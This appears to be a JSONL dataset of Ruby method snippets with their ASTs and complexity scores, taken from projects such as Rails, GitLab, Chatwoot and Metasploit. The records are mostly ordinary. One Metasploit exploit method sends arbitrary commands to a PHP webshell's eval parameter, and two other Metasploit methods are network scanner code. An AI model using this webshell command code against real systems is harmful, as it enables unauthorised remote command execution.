hypershield.mentions\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safety_assured\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"change_column\",{\"type\":\"sym\",\"children\":[\"mentions\"]},{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"sym\",\"children\":[\"bigint\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection\"]},\"execute\",{\"type\":\"str\",\"children\":[\"DROP VIEW IF EXISTS hypershield.notes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection\"]},\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"        ALTER TABLE notes\\n\"]},{\"type\":\"str\",\"children\":[\"          ALTER COLUMN author_id TYPE bigint,\\n\"]},{\"type\":\"str\",\"children\":[\"          ALTER COLUMN noteable_id TYPE bigint\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection\"]},\"execute\",{\"type\":\"str\",\"children\":[\"DROP VIEW IF EXISTS hypershield.podcasts\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safety_assured\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"change_column\",{\"type\":\"sym\",\"children\":[\"podcasts\"]},{\"type\":\"sym\",\"children\":[\"creator_id\"]},{\"type\":\"sym\",\"children\":[\"bigint\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection\"]},\"execute\",{\"type\":\"str\",\"children\":[\"DROP VIEW IF EXISTS hypershield.roles\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safety_assured\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"change_column\",{\"type\":\"sym\",\"children\":[\"roles\"]},{\"type\":\"sym\",\"children\":[\"resource_id\"]},{\"type\":\"sym\",\"children\":[\"bigint\"]}]}]}]}]}","id":"5ce241fa-66c3-4178-a869-a18308e17fd2"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/request/test_request_test.rb","start_line":7,"raw_source":"def test_test_request_has_session_options_initialized\n    assert @request.session_options\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_test_request_has_session_options_initialized\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"session_options\"]}]}]}","id":"ab10aa61-99e5-4300-af05-6001001cc242"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/source/sftp/client.rb","start_line":58,"raw_source":"def create_connection(connection_config)\n        initialize_file_path(connection_config)\n        @sftp = with_sftp_client(connection_config)\n        conn = DuckDB::Database.open.connect\n        conn.execute(INSTALL_HTTPFS_QUERY)\n        conn\n      end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_connection\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"connection_config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"initialize_file_path\",{\"type\":\"lvar\",\"children\":[\"connection_config\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@sftp\",{\"type\":\"send\",\"children\":[null,\"with_sftp_client\",{\"type\":\"lvar\",\"children\":[\"connection_config\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"conn\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DuckDB\"]},\"Database\"]},\"open\"]},\"connect\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"execute\",{\"type\":\"const\",\"children\":[null,\"INSTALL_HTTPFS_QUERY\"]}]},{\"type\":\"lvar\",\"children\":[\"conn\"]}]}]}","id":"d2fe69ae-04f7-4bab-90d7-96a988187c04"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/notifications.rb","start_line":324,"raw_source":"def totals_line\n        summary = Formatters::Helpers.pluralize(example_count, \"example\") +\n          \", \" + Formatters::Helpers.pluralize(failure_count, \"failure\")\n        summary += \", #{pending_count} pending\" if pending_count > 0\n        if errors_outside_of_examples_count > 0\n          summary += (\n            \", \" +\n            Formatters::Helpers.pluralize(errors_outside_of_examples_count, \"error\") +\n            \" occurred outside of examples\"\n          )\n        end\n        summary\n      end","complexity_score":27.3,"ast_json":"{\"type\":\"def\",\"children\":[\"totals_line\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"summary\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Formatters\"]},\"Helpers\"]},\"pluralize\",{\"type\":\"send\",\"children\":[null,\"example_count\"]},{\"type\":\"str\",\"children\":[\"example\"]}]},\"+\",{\"type\":\"str\",\"children\":[\", \"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Formatters\"]},\"Helpers\"]},\"pluralize\",{\"type\":\"send\",\"children\":[null,\"failure_count\"]},{\"type\":\"str\",\"children\":[\"failure\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pending_count\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"summary\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\", \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pending_count\"]}]},{\"type\":\"str\",\"children\":[\" pending\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors_outside_of_examples_count\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"summary\"]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\", \"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Formatters\"]},\"Helpers\"]},\"pluralize\",{\"type\":\"send\",\"children\":[null,\"errors_outside_of_examples_count\"]},{\"type\":\"str\",\"children\":[\"error\"]}]}]},\"+\",{\"type\":\"str\",\"children\":[\" occurred outside of examples\"]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"summary\"]}]}]}","id":"9c2100b9-dd09-40ce-b139-d41020ab3528"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb","start_line":213,"raw_source":"def lookup_cast_type(sql_type) # :nodoc:\n        # TODO: Make this method private after we release 8.1.\n        type_map.lookup(sql_type)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"lookup_cast_type\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sql_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"type_map\"]},\"lookup\",{\"type\":\"lvar\",\"children\":[\"sql_type\"]}]}]}","id":"19e82f07-1607-47d5-a2fb-c4d07adc6e9f"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/seeders/reports/conversation_creator.rb","start_line":83,"raw_source":"def find_or_create_contact_inbox(contact, inbox)\n    inbox.contact_inboxes.find_or_create_by!(\n      contact: contact,\n      source_id: SecureRandom.hex\n    )\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"find_or_create_contact_inbox\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"contact\"]},{\"type\":\"arg\",\"children\":[\"inbox\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inbox\"]},\"contact_inboxes\"]},\"find_or_create_by!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"contact\"]},{\"type\":\"lvar\",\"children\":[\"contact\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"hex\"]}]}]}]}]}","id":"5bf5a32f-e706-4269-95eb-375b87ff1504"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/merge_requests_controller.rb","start_line":208,"raw_source":"def accessibility_reports\n    if @merge_request.has_accessibility_reports?\n      reports_response(@merge_request.compare_accessibility_reports)\n    else\n      head :no_content\n    end\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"accessibility_reports\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@merge_request\"]},\"has_accessibility_reports?\"]},{\"type\":\"send\",\"children\":[null,\"reports_response\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@merge_request\"]},\"compare_accessibility_reports\"]}]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"sym\",\"children\":[\"no_content\"]}]}]}]}","id":"fbf44272-b5b0-463a-9e64-c4481df77ca1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/preloaders/environments/deployment_preloader.rb","start_line":21,"raw_source":"def load_deployment_association(association_name, association_attributes)\n        return unless environments.present?\n\n        # Not using Gitlab::SQL::Union as `order_by` in the SQL constructed is ignored.\n        # See:\n        #   1) https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/sql/union.rb#L7\n        #   2) https://gitlab.com/gitlab-org/gitlab/-/issues/353966#note_860928647\n        union_sql = environments.map do |environment|\n          \"(#{environment.association(association_name).scope.to_sql})\"\n        end.join(' UNION ')\n\n        deployments = Deployment\n                        .from(\"(#{union_sql}) #{::Deployment.table_name}\")\n                        .preload(association_attributes)\n\n        deployments_by_environment_id = deployments.index_by(&:environment_id)\n\n        environments.each do |environment|\n          associated_deployment = deployments_by_environment_id[environment.id]\n\n          environment.association(association_name).target = associated_deployment\n          environment.association(association_name).loaded!\n\n          next unless associated_deployment\n\n          # `last?` in DeploymentEntity requires this environment to be loaded\n          associated_deployment.association(:environment).target = environment\n          associated_deployment.association(:environment).loaded!\n        end\n      end","complexity_score":39.5,"ast_json":"{\"type\":\"def\",\"children\":[\"load_deployment_association\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"association_name\"]},{\"type\":\"arg\",\"children\":[\"association_attributes\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"environments\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"union_sql\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"environments\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"environment\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"environment\"]},\"association\",{\"type\":\"lvar\",\"children\":[\"association_name\"]}]},\"scope\"]},\"to_sql\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\" UNION \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"deployments\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Deployment\"]},\"from\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"union_sql\"]}]},{\"type\":\"str\",\"children\":[\") \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Deployment\"]},\"table_name\"]}]}]}]},\"preload\",{\"type\":\"lvar\",\"children\":[\"association_attributes\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"deployments_by_environment_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deployments\"]},\"index_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"environment_id\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"environments\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"environment\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"associated_deployment\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deployments_by_environment_id\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"environment\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"environment\"]},\"association\",{\"type\":\"lvar\",\"children\":[\"association_name\"]}]},\"target=\",{\"type\":\"lvar\",\"children\":[\"associated_deployment\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"environment\"]},\"association\",{\"type\":\"lvar\",\"children\":[\"association_name\"]}]},\"loaded!\"]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"associated_deployment\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"associated_deployment\"]},\"association\",{\"type\":\"sym\",\"children\":[\"environment\"]}]},\"target=\",{\"type\":\"lvar\",\"children\":[\"environment\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"associated_deployment\"]},\"association\",{\"type\":\"sym\",\"children\":[\"environment\"]}]},\"loaded!\"]}]}]}]}]}","id":"e12e0a12-1f73-4ab1-95bb-1d7f3f11bb10"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/helpers/date_range_helper.rb","start_line":13,"raw_source":"def parse_date_time(datetime)\n    return datetime if datetime.is_a?(DateTime)\n    return datetime.to_datetime if datetime.is_a?(Time) || datetime.is_a?(Date)\n\n    DateTime.strptime(datetime, '%s')\n  end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_date_time\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"datetime\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"datetime\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"DateTime\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"datetime\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"datetime\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Time\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"datetime\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Date\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"datetime\"]},\"to_datetime\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"strptime\",{\"type\":\"lvar\",\"children\":[\"datetime\"]},{\"type\":\"str\",\"children\":[\"%s\"]}]}]}]}","id":"0cba0a0d-9ec0-4ef4-920e-fb5e7d34370e"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/activitypub/actor_serializer.rb","start_line":134,"raw_source":"def header_exists?\n    !object.unavailable? && object.header?\n  end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"header_exists?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"unavailable?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"header?\"]}]}]}","id":"6e7c2965-8c69-414b-bd17-f67aa6d7e7ba"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/set_cache.rb","start_line":34,"raw_source":"def exist?(key)\n      with { |redis| redis.exists?(cache_key(key)) } # rubocop:disable CodeReuse/ActiveRecord\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"exist?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"redis\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redis\"]},\"exists?\",{\"type\":\"send\",\"children\":[null,\"cache_key\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}]}","id":"3e2876ef-2d3a-4831-b5cc-1c216a3c54b1"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/api.rb","start_line":1043,"raw_source":"def leader\n      @leader ||= begin\n        x = Sidekiq.redis { |c| c.get(\"dear-leader\") }\n        # need a non-falsy value so we can memoize\n        x ||= \"\"\n        x\n      end\n    end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"leader\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@leader\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"x\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"redis\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"get\",{\"type\":\"str\",\"children\":[\"dear-leader\"]}]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"x\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvar\",\"children\":[\"x\"]}]}]}]}","id":"d29dc91b-9229-49b6-b1db-0e99262b8501"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/redoc_exposed.rb","start_line":72,"raw_source":"def run_host(ip)\n    vprint_status(\"#{ip} - scanning for ReDoc\")\n\n    # REDOC_PATHS is required and has defaults; always use it directly\n    paths = datastore['REDOC_PATHS'].split(',').map(&:strip)\n\n    hit = paths.find { |p| check_path(p) }\n    if hit\n      print_good(\"#{ip} - ReDoc likely exposed at #{hit}\")\n      report_service(host: ip, port: rport, proto: 'tcp', name: 'http')\n    else\n      vprint_status(\"#{ip} - no ReDoc found\")\n    end\n  end","complexity_score":18.4,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\" - scanning for ReDoc\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"paths\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"REDOC_PATHS\"]}]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"strip\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hit\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paths\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"send\",\"children\":[null,\"check_path\",{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hit\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\" - ReDoc likely exposed at \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hit\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"report_service\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proto\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"http\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\" - no ReDoc found\"]}]}]}]}]}]}","id":"bb4b77ff-0b1d-4ad5-9f7c-b976c0f8969b"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/routing_test.rb","start_line":5222,"raw_source":"def initialize(key, pattern)\n      @key = key\n      @pattern = pattern\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"pattern\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@key\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@pattern\",{\"type\":\"lvar\",\"children\":[\"pattern\"]}]}]}]}","id":"9ee77f2a-d0dc-4605-a2c0-c0a489a59d82"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/netbios/nbname.rb","start_line":25,"raw_source":"def scanner_prescan(batch)\n    print_status(\"Sending NetBIOS requests to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)\")\n    @results = {}\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"scanner_prescan\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"batch\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending NetBIOS requests to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"str\",\"children\":[\"->\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch\"]},\"[]\",{\"type\":\"int\",\"children\":[-1]}]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" hosts)\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@results\",{\"type\":\"hash\",\"children\":[]}]}]}]}","id":"a6929864-6aab-45c7-ac3b-2c650c4725a1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/stunshell_eval.rb","start_line":77,"raw_source":"def http_send_command(cmd)\n    uri = normalize_uri(target_uri.path.to_s)\n    request_parameters = {\n      'method'\t=> 'POST',\n      'uri'\t=> uri,\n      'vars_post'\t=>\n        {\n          'cmd' => \"php_eval\",\n          \"php_eval\" => cmd\n        }\n    }\n    res = send_request_cgi(request_parameters)\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"http_send_command\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},\"to_s\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"request_parameters\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cmd\"]},{\"type\":\"str\",\"children\":[\"php_eval\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"php_eval\"]},{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"lvar\",\"children\":[\"request_parameters\"]}]}]}]}]}","id":"273c7d24-528e-4d4c-ada8-3502d863738e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/auth/container_registry_authentication_service.rb","start_line":335,"raw_source":"def user_can_pull?(requested_project)\n      has_authentication_ability?(:read_container_image) &&\n        can_user?(:read_container_image, requested_project)\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"user_can_pull?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"requested_project\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_authentication_ability?\",{\"type\":\"sym\",\"children\":[\"read_container_image\"]}]},{\"type\":\"send\",\"children\":[null,\"can_user?\",{\"type\":\"sym\",\"children\":[\"read_container_image\"]},{\"type\":\"lvar\",\"children\":[\"requested_project\"]}]}]}]}","id":"1fb99e4a-72ab-41d3-ac7f-32208ae1be30"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/graphql_triggers.rb","start_line":100,"raw_source":"def self.merge_request_diff_generated(merge_request)\n    GitlabSchema.subscriptions.trigger(\n      :merge_request_diff_generated, { issuable_id: merge_request.to_gid }, merge_request\n    )\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"merge_request_diff_generated\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitlabSchema\"]},\"subscriptions\"]},\"trigger\",{\"type\":\"sym\",\"children\":[\"merge_request_diff_generated\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"issuable_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"to_gid\"]}]}]},{\"type\":\"lvar\",\"children\":[\"merge_request\"]}]}]}","id":"3d7d0d70-59e6-4934-ad3f-05278a01ecac"}
